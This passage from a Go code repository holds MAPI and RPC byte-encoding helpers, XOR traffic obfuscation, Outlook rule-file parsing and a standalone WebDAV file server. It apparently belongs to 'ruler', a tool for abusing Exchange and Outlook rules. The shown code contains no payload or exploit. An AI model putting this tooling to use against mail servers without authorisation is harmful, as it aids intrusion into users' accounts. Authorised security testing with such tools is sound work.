7 | "encoding/hex"
8 | "fmt"
9 | "hash/fnv"
10 | "io/ioutil"
11 | "math/rand"
12 | "os"
13 | "reflect"
14 | "strings"
15 | "time"
16 |
17 | "gopkg.in/yaml.v2"
18 | )
19 |
20 | var (
21 | put32 = binary.LittleEndian.PutUint32
22 | put16 = binary.LittleEndian.PutUint16
23 | //EncBase64 wrapper for encoding to base64
24 | EncBase64 = base64.StdEncoding.EncodeToString
25 | //DecBase64 wrapper for decoding from base64
26 | DecBase64 = base64.StdEncoding.DecodeString
27 | )
28 |
29 | //ReadFile returns the contents of a file at 'path'
30 | func ReadFile(path string) ([]byte, error) {
31 | if _, err := os.Stat(path); err != nil {
32 | return nil, err
33 | }
34 | data, err := ioutil.ReadFile(path)
35 | if err != nil {
36 | return nil, err
37 | }
38 | return data, nil
39 | }
40 |
41 | //CookieGen creates a 16byte UUID
42 | func CookieGen() []byte {
43 | rand.Seed(time.Now().UnixNano())
44 | b := make([]byte, 16)
45 | _, err := rand.Read(b)
46 | if err != nil {
47 | fmt.Println("Error: ", err)
48 | return nil
49 | }
50 | //fmt.Printf("%X%X%X%X%X\n", b[0:4], b[4:6], b[6:8], b[8:10], b[10:])
51 | return b
52 | }
53 |
54 | //COUNT returns the uint16 byte stream of an int. This is required for PtypBinary
55 | func COUNT(val int) []byte {
56 | return EncodeNum(uint16(val))
57 | }
58 |
59 | //FromUnicode read unicode and convert to byte array
60 | func FromUnicode(uni []byte) string {
61 | st := ""
62 | for _, k := range uni {
63 | if k != 0x00 {
64 | st += string(k)
65 | }
66 | }
67 | return st
68 | }
69 |
70 | //UniString converts a string into a unicode string byte array
71 | func UniString(str string) []byte {
72 | bt := make([]byte, (len(str) * 2))
73 | cnt := 0
74 | for _, v := range str {
75 | bt[cnt] = byte(v)
76 | cnt++
77 | bt[cnt] = 0x00
78 | cnt++
79 | }
80 | bt = append(bt, []byte{0x00, 0x00}...)
81 | return bt
82 | }
83 |
84 | //UTF16BE func to encode strings for the CRuleElement
85 | func UTF16BE(str string) []byte {
86 | bt := make([]byte, (len(str) * 2))
87 | cnt := 0
88 | for _, v := range str {
89 | bt[cnt] = byte(v)
90 | cnt++
91 | bt[cnt] = 0x00
92 | cnt++
93 | }
94 |
95 | byteNum := new(bytes.Buffer)
96 | binary.Write(byteNum, binary.BigEndian, uint16(len(bt)/2))
97 |
98 | bt = append(byteNum.Bytes(), bt...)
99 | return bt
100 | }
101 |
102 | //ToBinary takes a string and hexlyfies it
103 | func ToBinary(str string) []byte {
104 | src := []byte(str)
105 | //binary requires length
106 | dst := append(COUNT(len(src)), src...)
107 | return dst
108 | }
109 |
110 | //DecodeInt64 decode 8 byte value into int64
111 | func DecodeInt64(num []byte) int64 {
112 | var number int64
113 | bf := bytes.NewReader(num)
114 | binary.Read(bf, binary.BigEndian, &number)
115 | return number
116 | }
117 |
118 | //DecodeUint64 decode 4 byte value into uint32
119 | func DecodeUint64(num []byte) uint64 {
120 | var number uint64
121 | bf := bytes.NewReader(num)
122 | binary.Read(bf, binary.LittleEndian, &number)
123 | return number
124 | }
125 |
126 | //DecodeUint32 decode 4 byte value into uint32
127 | func DecodeUint32(num []byte) uint32 {
128 | var number uint32
129 | bf := bytes.NewReader(num)
130 | binary.Read(bf, binary.LittleEndian, &number)
131 | return number
132 | }
133 |
134 | //DecodeUint16 decode 2 byte value into uint16
135 | func DecodeUint16(num []byte) uint16 {
136 | var number uint16
137 | bf := bytes.NewReader(num)
138 | binary.Read(bf, binary.LittleEndian, &number)
139 | return number
140 | }
141 |
142 | //DecodeUint8 decode 1 byte value into uint8
143 | func DecodeUint8(num []byte) uint8 {
144 | var number uint8
145 | bf := bytes.NewReader(num)
146 | binary.Read(bf, binary.LittleEndian, &number)
147 | return number
148 | }
149 |
150 | //EncodeNum encode a number as a byte array
151 | func EncodeNum(v interface{}) []byte {
152 | byteNum := new(bytes.Buffer)
153 | binary.Write(byteNum, binary.LittleEndian, v)
154 | return byteNum.Bytes()
155 | }
156 |
157 | //EncodeNumBE encode a number in big endian as a byte array
158 | func EncodeNumBE(v interface{}) []byte {
159 | byteNum := new(bytes.Buffer)
160 | binary.Write(byteNum, binary.BigEndian, v)
161 | return byteNum.Bytes()
162 | }
163 |
164 | //BodyToBytes func
165 | func BodyToBytes(DataStruct interface{}) []byte {
166 | dumped := []byte{}
167 | v := reflect.ValueOf(DataStruct)
168 | var value []byte
169 |
170 | //check if we have a slice of structs
171 | if reflect.TypeOf(DataStruct).Kind() == reflect.Slice {
172 | for i := 0; i < v.Len(); i++ {
173 | if v.Index(i).Kind() == reflect.Uint8 || v.Index(i).Kind() == reflect.Uint16 || v.Index(i).Kind() == reflect.Uint32 || v.Index(i).Kind() == reflect.Uint64 {
174 | byteNum := new(bytes.Buffer)
175 | binary.Write(byteNum, binary.LittleEndian, v.Index(i).Interface())
176 | dumped = append(dumped, byteNum.Bytes()...)
177 | } else {
178 | if v.Index(i).Kind() == reflect.Struct || v.Index(i).Kind() == reflect.Slice || v.Index(i).Kind() == reflect.Interface {
179 | value = BodyToBytes(v.Index(i).Interface())
180 | } else {
181 | value = v.Index(i).Bytes()
182 | }
183 | dumped = append(dumped, value...)
184 | }
185 | }
186 | } else {
187 | for i := 0; i < v.NumField(); i++ {
188 | if v.Field(i).Kind() == reflect.Uint8 || v.Field(i).Kind() == reflect.Uint16 || v.Field(i).Kind() == reflect.Uint32 || v.Field(i).Kind() == reflect.Uint64 {
189 | byteNum := new(bytes.Buffer)
190 | binary.Write(byteNum, binary.LittleEndian, v.Field(i).Interface())
191 | dumped = append(dumped, byteNum.Bytes()...)
192 | } else {
193 | if v.Field(i).Kind() == reflect.Struct || v.Field(i).Kind() == reflect.Slice || v.Field(i).Kind() == reflect.Interface {
194 | value = BodyToBytes(v.Field(i).Interface())
195 | } else {
196 | fmt.Println(v.Field(i).Kind())
197 | value = v.Field(i).Bytes()
198 | }
199 | dumped = append(dumped, value...)
200 | }
201 | }
202 | }
203 | return dumped
204 | }
205 |
206 | //ReadUint32 read 4 bytes and return as uint32
207 | func ReadUint32(pos int, buff []byte) (uint32, int) {
208 | return DecodeUint32(buff[pos : pos+4]), pos + 4
209 | }
210 |
211 | //ReadUint16 read 2 bytes and return as uint16
212 | func ReadUint16(pos int, buff []byte) (uint16, int) {
213 | return DecodeUint16(buff[pos : pos+2]), pos + 2
214 | }
215 |
216 | //ReadUint8 read 1 byte and return as uint8
217 | func ReadUint8(pos int, buff []byte) (uint8, int) {
218 | return DecodeUint8(buff[pos : pos+2]), pos + 2
219 | }
220 |
221 | //ReadBytes read and return count number o bytes
222 | func ReadBytes(pos, count int, buff []byte) ([]byte, int) {
223 | return buff[pos : pos+count], pos + count
224 | }
225 |
226 | //ReadByte read and return a single byte
227 | func ReadByte(pos int, buff []byte) (byte, int) {
228 | return buff[pos : pos+1][0], pos + 1
229 | }
230 |
231 | //ReadUnicodeString read and return a unicode string
232 | func ReadUnicodeString(pos int, buff []byte) ([]byte, int) {
233 | //stupid hack as using bufio and ReadString(byte) would terminate too early
234 | //would terminate on 0x00 instead of 0x0000
235 | index := bytes.Index(buff[pos:], []byte{0x00, 0x00})
236 | if index == -1 {
237 | return nil, 0
238 | }
239 | str := buff[pos : pos+index]
240 | return []byte(str), pos + index + 2
241 | }
242 |
243 | //ReadUTF16BE reads the unicode string that the outlook rule file uses
244 | //this basically means there is a length byte that we need to skip over
245 | func ReadUTF16BE(pos int, buff []byte) ([]byte, int) {
246 |
247 | lenb := (buff[pos : pos+1])
248 | k := int(lenb[0])
249 | pos += 1 //length byte but we don't really need this
250 | var str []byte
251 | if k == 0 {
252 | str, pos = ReadUnicodeString(pos, buff)
253 | } else {
254 | str, pos = ReadBytes(pos, k*2, buff) //
255 | //pos += 2
256 | }
257 |
258 | return str, pos
259 | }
260 |
261 | //ReadASCIIString returns a string as ascii
262 | func ReadASCIIString(pos int, buff []byte) ([]byte, int) {
263 | bf := bytes.NewBuffer(buff[pos:])
264 | str, _ := bf.ReadString(0x00)
265 | return []byte(str), pos + len(str)
266 | }
267 |
268 | //ReadTypedString reads a string as either Unicode or ASCII depending on type value
269 | func ReadTypedString(pos int, buff []byte) ([]byte, int) {
270 | var t = buff[pos]
271 | if t == 0 { //no string
272 | return []byte{}, pos + 1
273 | }
274 | if t == 1 {
275 | return []byte{}, pos + 1
276 | }
277 | if t == 3 {
278 | str, p := ReadASCIIString(pos+1, buff)
279 | return str, p
280 | }
281 | if t == 4 {
282 | str, p := ReadUnicodeString(pos+1, buff)
283 | return str, p
284 | }
285 | str, _ := ReadBytes(pos+1, 4, buff)
286 | return str, pos + len(str)
287 | }
288 |
289 | //Hash Calculate a 32byte hash
290 | func Hash(s string) uint32 {
291 | h := fnv.New32()
292 | h.Write([]byte(s))
293 | return h.Sum32()
294 | }
295 |
296 | //Obfuscate traffic using XOR and the magic byte as specified in RPC docs
297 | func Obfuscate(data []byte) []byte {
298 | bnew := make([]byte, len(data))
299 | for k := range data {
300 | bnew[k] = data[k] ^ 0xA5
301 | }
302 | return bnew
303 | }
304 |
305 | //GenerateString creates a random string of lenght pcount
306 | func GenerateString(pcount int) string {
307 | var letterRunes = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
308 |
309 | rand.Seed(time.Now().UTC().UnixNano())
310 |
311 | b := make([]rune, pcount)
312 | for i := range b {
313 | b[i] = letterRunes[rand.Intn(len(letterRunes))]
314 | }
315 | return string(b)
316 | }
317 |
318 | //ReadYml reads the supplied config file, Unmarshals the data into the global config struct.
319 | func ReadYml(yml string) (YamlConfig, error) {
320 | var config YamlConfig
321 | data, err := ioutil.ReadFile(yml)
322 | if err != nil {
323 | return YamlConfig{}, err
324 | }
325 | err = yaml.Unmarshal(data, &config)
326 | if err != nil {
327 | return YamlConfig{}, err
328 | }
329 | return config, err
330 | }
331 |
332 | //GUIDToByteArray mimics Guid.ToByteArray Method () from .NET
333 | // The example displays the following output:
334 | // Guid: 35918bc9-196d-40ea-9779-889d79b753f0
335 | // C9 8B 91 35 6D 19 EA 40 97 79 88 9D 79 B7 53 F0
336 | func GUIDToByteArray(guid string) (array []byte, err error) {
337 | //get rid of {} if passed in
338 | guid = strings.Replace(guid, "{", "", 1)
339 | guid = strings.Replace(guid, "}", "", 1)
340 |
341 | sp := strings.Split(guid, "-") //chunk
342 | //we should have 5 chunks
343 | if len(sp) != 5 {
344 | return nil, fmt.Errorf("Invalid GUID")
345 | }
346 | //add first 4 chunks to array in reverse order
347 | for i := 0; i < 4; i++ {
348 | chunk, e := hex.DecodeString(sp[i])
349 | if e != nil {
350 | return nil, e
351 | }
352 | for k := len(chunk) - 1; k >= 0; k-- {
353 | array = append(array, chunk[k])
354 | }
355 | }
356 | chunk, e := hex.DecodeString(sp[4])
357 | if e != nil {
358 | return nil, e
359 | }
360 | array = append(array, chunk...)
361 | return array, nil
362 | }
363 |
--------------------------------------------------------------------------------
/webdav/webdav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/blackhatethicalhacking/ruler/297adf93a0021fa08b412d152993abc721a2d01f/webdav/webdav
--------------------------------------------------------------------------------
/webdav/webdavserv.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "net/http"
8 | "os"
9 |
10 | "golang.org/x/net/webdav"
11 | )
12 |
13 | var dir string
14 |
15 | func main() {
16 |
17 | dirFlag := flag.String("d", "./", "Directory to serve from. Default is CWD")
18 | httpPort := flag.Int("p", 80, "Port to serve on (Plain HTTP)")
19 | httpsPort := flag.Int("ps", 443, "Port to serve TLS on")
20 | serveSecure := flag.Bool("s", false, "Serve HTTPS. Default false")
21 |
22 | flag.Parse()
23 |
24 | dir = *dirFlag
25 |
26 | srv := &webdav.Handler{
27 | FileSystem: webdav.Dir(dir),
28 | LockSystem: webdav.NewMemLS(),
29 | Logger: func(r *http.Request, err error) {
30 | if err != nil {
31 | log.Printf("WEBDAV [%s][%s]: %s, ERROR: %s\n", r.RemoteAddr, r.Method, r.URL, err)
32 | } else {
33 | log.Printf("WEBDAV [%s][%s]: %s \n", r.RemoteAddr, r.Method, r.URL)
34 | }
35 | },
36 | }
37 |
38 | http.Handle("/", srv)
39 |
40 | if *serveSecure == true {
41 | if _, err := os.Stat("./cert.pem"); err != nil {
42 | fmt.Println("[x] No cert.pem in current directory. Please provide a valid cert")
43 | return
44 | }
45 | if _, er := os.Stat("./key.pem"); er != nil {
46 | fmt.Println("[x] No key.pem in current directory. Please provide a valid cert")
47 | return
48 | }
49 |
50 | go http.ListenAndServeTLS(fmt.Sprintf(":%d", *httpsPort), "cert.pem", "key.pem", nil)
51 | }
52 | if err := http.ListenAndServe(fmt.Sprintf(":%d", *httpPort), nil); err != nil {
53 | log.Fatalf("Error with WebDAV server: %v", err)
54 | }
55 |
56 | }
57 |
--------------------------------------------------------------------------------